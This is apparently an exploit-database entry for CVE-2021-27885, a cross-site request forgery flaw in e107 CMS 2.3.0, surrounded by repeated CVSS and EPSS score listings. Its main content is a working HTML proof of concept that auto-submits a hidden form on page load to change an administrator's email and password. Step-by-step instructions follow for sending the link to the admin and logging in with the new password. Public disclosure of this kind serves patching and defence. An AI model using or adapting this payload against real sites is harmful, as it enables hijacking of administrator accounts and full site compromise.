TadjmenEDB-ID:49614e107 CMS 2.3.0 - CSRF
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.025 Low
EPSS
Percentile
90.1%
# Exploit Title: e107 CMS 2.3.0 - CSRF
# Date: 04/03/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://e107.org
# Software Link: https://e107.org/download
# Version: 2.3.0
# Tested on: Windows 10
# CVE : CVE-2021-27885
CSRF vulnerability on e107 CMS
## Bug Description
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.
## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF login POC using the following code.
```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
function fireForms()
{
var count = 2;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
}
}
</script>
<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>
<form method="POST" name="form0" action="
http://localhost/[path-to-e107-cms]/usersettings.php">
<input type="hidden" name="loginname" value="admin"/>
<input type="hidden" name="email" value="[email]"/>
<input type="hidden" name="password1" value="[password]"/>
<input type="hidden" name="password2" value="[password]"/>
<input type="hidden" name="hideemail" value="1"/>
<input type="hidden" name="image" value=""/>
<input type="hidden" name="signature" value=""/>
<input type="hidden" name="updatesettings" value="Save settings"/>
<input type="hidden" name="_uid" value="2"/>
</form>
</body>
</html>
```
2. Replace the email and password with the valid credentials.
3. Send the link script to the victim (admin) to make them click.
4. Login with new admin passwordRelated
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.025 Low
EPSS
Percentile
90.1%